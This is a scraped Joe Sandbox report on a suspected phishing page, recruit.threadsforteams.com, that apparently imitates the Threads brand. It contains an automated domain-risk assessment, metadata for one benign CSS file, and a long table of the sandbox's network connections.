URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	```json{ "legit_domain": "threads.com", "classification": "known", "reasons": [ "The brand 'Threads' is associated with the domain 'threads.com'.", "The URL 'recruit.threadsforteams.com' contains additional words 'for' and 'teams', which are not part of the legitimate domain.", "The presence of additional words in the domain name is a common tactic used in phishing attempts.", "The URL does not match the fully legitimate domain name associated with the brand 'Threads'." ], "riskscore": 7} Google indexed: False
URL: recruit.threadsforteams.com Brands: Threads Input Fields: Email address
URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	```json{ "legit_domain": "threads.com", "classification": "known", "reasons": [ "The brand 'Threads' is associated with the domain 'threads.com'.", "The URL 'recruit.threadsforteams.com' contains additional words 'for' and 'teams', which are not part of the legitimate domain.", "The presence of additional words in the domain name is a common tactic used in phishing to mimic legitimate sites.", "The domain 'threadsforteams.com' does not match the known domain for the brand 'Threads'.", "The use of a subdomain 'recruit' could be an attempt to appear as a legitimate recruitment page, which is a common phishing strategy." ], "riskscore": 8} Google indexed: False
URL: recruit.threadsforteams.com Brands: Threads Input Fields: Email address

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3296
Entropy (8bit):	4.903003304708651
Encrypted:	false
SSDEEP:	96:/C9CBfWNh9IbxlCifzCBPexR/C7zCVzzk0Cq5eOCW+/:Kgo9HEu887uVk7TB/
MD5:	88E6C41E8DC71E42B86D5A60FC7F36D2
SHA1:	D4171EC264B966ED6BA80CF515695292D642C36D
SHA-256:	616B2BBC33446470FD4BAFB72D0BDC8AD5F7CC5FB8CEF411C3A96AD6BBBFA1CC
SHA-512:	645787A2B2E690593D6F4FE5A0C62507F653DAF0CD6B7F79A1EF0875406F6AB5CCACE7628C32386D3B81AFF47EBADBF6E9B74800D5B73951F0D6EE7023897C05
Malicious:	false
Reputation:	low
URL:	https://recruit.threadsforteams.com//assets/css/home.module.css
Preview:	.home {. display: flex;. align-items: center;. justify-content: center;. background: rgb(16, 16, 16);. min-height: 100%;. width: 100%;.}..home .bg {. position: absolute;. top: 0;. left: 0;. right: 0;. overflow: hidden;. pointer-events: none;.}..home .logo_container {. display: flex;. align-items: center;. margin-bottom: 40px;. justify-content: center;.}..home .logo_container > div {. width: 48px; . height: 48px;.}..home .bg img {. width: 100%;. object-fit: cover;. transform: scale(1.25);.}..home .container {. width: 100%;. max-width: 370px;.}..home .container.unset {. max-width: unset;.}..home .container h3 {. font-weight: 700;. text-align: center;. margin-bottom: 16px;. color: rgb(243, 245, 247);.}...home .container .field {. margin: 8px 0;.}..home .container .conditions {. margin-bottom: 34px;.}..home .container label.agree {. font-size: 15px;. color: #fff;.}..home .container label.agree a {. color: #fff;. text-decoration: underline;.}..home .contain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2025 16:52:10.113754034 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:10.723229885 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:11.926258087 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:12.238754034 CET	49672	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:12.363770962 CET	49674	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:12.363981962 CET	49675	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:14.333183050 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:18.391817093 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:18.957838058 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:19.198717117 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:19.754681110 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:21.248948097 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:21.337321997 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.337377071 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:21.337472916 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.337697983 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.337721109 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:21.842727900 CET	49672	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:21.972959995 CET	49674	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:21.972985983 CET	49675	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:21.980789900 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:21.981120110 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.981149912 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:21.982023954 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:21.982124090 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.983429909 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:21.983483076 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:22.035450935 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:22.035466909 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:22.082319975 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:23.848685026 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.848741055 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:23.849211931 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.849262953 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:23.849298954 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.849674940 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.849677086 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.849689007 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:23.850295067 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:23.850310087 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.224589109 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:24.290307045 CET	443	49698	104.98.116.138	192.168.2.7
Jan 21, 2025 16:52:24.290529966 CET	49698	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:24.340178013 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.340679884 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.340701103 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.341734886 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.341797113 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.346674919 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.346708059 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.346755981 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.346803904 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.346834898 CET	443	49709	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.346849918 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.346950054 CET	49709	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.347228050 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.347259045 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.347352982 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.347618103 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.347632885 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.359234095 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.359685898 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.359710932 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.361174107 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.361274004 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.361799955 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.361813068 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.361874104 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.361893892 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.362123013 CET	443	49708	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.362189054 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.362205029 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.362211943 CET	49708	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.362248898 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.362385035 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.362633944 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.362647057 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.849350929 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.849889994 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.849916935 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.851378918 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.851443052 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.852655888 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.852773905 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.852885962 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.852896929 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.888206005 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.888511896 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.888535023 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.889585972 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.889652967 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.889992952 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.890064955 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.895266056 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.944267988 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:24.944299936 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:24.989903927 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:25.827271938 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:25.827353954 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:25.827480078 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:25.827549934 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:25.831224918 CET	49712	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:25.831254959 CET	443	49712	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:25.862121105 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:25.862174988 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:25.862350941 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:25.862574100 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:25.862587929 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:25.919833899 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:25.963336945 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:26.297605991 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:26.297708988 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:26.297756910 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:26.303481102 CET	49711	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:26.303514004 CET	443	49711	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:26.330171108 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.330473900 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.330485106 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.331950903 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.332073927 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.333647966 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.333774090 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.333928108 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.333934069 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.379712105 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.457371950 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.457597971 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.457652092 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.458193064 CET	49714	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.458218098 CET	443	49714	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.459398985 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.459439039 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.459490061 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.459873915 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.459899902 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.925348997 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.925704002 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.925724983 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.926187038 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.926578999 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.926654100 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:26.926773071 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:26.967346907 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:27.058737040 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:27.058845997 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:27.058898926 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:27.059324026 CET	49715	443	192.168.2.7	35.190.80.1
Jan 21, 2025 16:52:27.059344053 CET	443	49715	35.190.80.1	192.168.2.7
Jan 21, 2025 16:52:28.802177906 CET	49671	443	192.168.2.7	204.79.197.203
Jan 21, 2025 16:52:30.177192926 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:31.879143953 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:31.879201889 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:31.881324053 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:32.738322973 CET	49698	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:32.739151955 CET	49758	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:32.739207983 CET	443	49758	104.98.116.138	192.168.2.7
Jan 21, 2025 16:52:32.739273071 CET	49758	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:32.743302107 CET	443	49698	104.98.116.138	192.168.2.7
Jan 21, 2025 16:52:32.765875101 CET	49758	443	192.168.2.7	104.98.116.138
Jan 21, 2025 16:52:32.765909910 CET	443	49758	104.98.116.138	192.168.2.7
Jan 21, 2025 16:52:32.867809057 CET	49706	443	192.168.2.7	142.250.184.228
Jan 21, 2025 16:52:32.867892981 CET	443	49706	142.250.184.228	192.168.2.7
Jan 21, 2025 16:52:40.112974882 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.113034010 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.113156080 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.114715099 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.114808083 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.114897966 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.116921902 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.116947889 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.117902040 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.117934942 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.591994047 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.592453957 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.592480898 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.593908072 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.593991995 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.594497919 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.594530106 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.594583988 CET	443	49809	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.594603062 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.594644070 CET	49809	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.594805002 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.595043898 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.595087051 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.595146894 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.595283031 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.595299959 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.595534086 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.595551014 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.596307993 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.596370935 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.596904993 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.596925020 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.596970081 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.597038984 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597052097 CET	443	49808	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.597096920 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597096920 CET	49808	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597434044 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597471952 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:40.597533941 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597724915 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:40.597738981 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.091217041 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.091732979 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.094453096 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.094460964 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.094611883 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.094630003 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.095470905 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.095530987 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.097877026 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.097950935 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.106745958 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.106915951 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.147360086 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.147399902 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.189486980 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.215042114 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.215195894 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.215234041 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.259341002 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.271224976 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:41.271240950 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:41.317270994 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.087938070 CET	49677	443	192.168.2.7	20.50.201.200
Jan 21, 2025 16:52:42.186403990 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.186456919 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.186485052 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.186566114 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.186577082 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.186618090 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.187928915 CET	49813	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.187958956 CET	443	49813	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.210083961 CET	49825	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.210129023 CET	443	49825	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.210272074 CET	49825	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.210560083 CET	49826	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.210608006 CET	443	49826	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.210660934 CET	49826	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.210974932 CET	49827	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.210983992 CET	443	49827	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.211061954 CET	49827	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211282015 CET	49828	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211322069 CET	443	49828	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.211386919 CET	49828	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211472988 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211760044 CET	49825	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211775064 CET	443	49825	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.211966038 CET	49826	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.211990118 CET	443	49826	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.212140083 CET	49827	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.212150097 CET	443	49827	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.212316036 CET	49828	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.212325096 CET	443	49828	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.213417053 CET	49829	443	192.168.2.7	104.17.249.203
Jan 21, 2025 16:52:42.213452101 CET	443	49829	104.17.249.203	192.168.2.7
Jan 21, 2025 16:52:42.213504076 CET	49829	443	192.168.2.7	104.17.249.203
Jan 21, 2025 16:52:42.213712931 CET	49829	443	192.168.2.7	104.17.249.203
Jan 21, 2025 16:52:42.213722944 CET	443	49829	104.17.249.203	192.168.2.7
Jan 21, 2025 16:52:42.214507103 CET	49830	443	192.168.2.7	151.101.66.137
Jan 21, 2025 16:52:42.214540958 CET	443	49830	151.101.66.137	192.168.2.7
Jan 21, 2025 16:52:42.214601994 CET	49830	443	192.168.2.7	151.101.66.137
Jan 21, 2025 16:52:42.214775085 CET	49830	443	192.168.2.7	151.101.66.137
Jan 21, 2025 16:52:42.214787006 CET	443	49830	151.101.66.137	192.168.2.7
Jan 21, 2025 16:52:42.255343914 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.536561012 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.536612988 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.536674023 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.536690950 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.536706924 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.536777973 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.537483931 CET	49814	443	192.168.2.7	172.67.139.244
Jan 21, 2025 16:52:42.537502050 CET	443	49814	172.67.139.244	192.168.2.7
Jan 21, 2025 16:52:42.681936026 CET	443	49830	151.101.66.137	192.168.2.7
Jan 21, 2025 16:52:42.682300091 CET	49830	443	192.168.2.7	151.101.66.137
Jan 21, 2025 16:52:42.682322025 CET	443	49830	151.101.66.137	192.168.2.7
Jan 21, 2025 16:52:42.683022976 CET	443	49829	104.17.249.203	192.168.2.7
Jan 21, 2025 16:52:42.683187962 CET	49829	443	192.168.2.7	104.17.249.203
Jan 21, 2025 16:52:42.683216095 CET	443	49829	104.17.249.203	192.168.2.7
Jan 21, 2025 16:52:42.683367968 CET	443	49830	151.101.66.137	192.168.2.7
Jan 21, 2025 16:52:42.683468103 CET	49830	443	192.168.2.7	151.101.66.137
Jan 21, 2025 16:52:42.684211969 CET</

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://recruit.threadsforteams.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Windows Analysis Report
https://recruit.threadsforteams.com/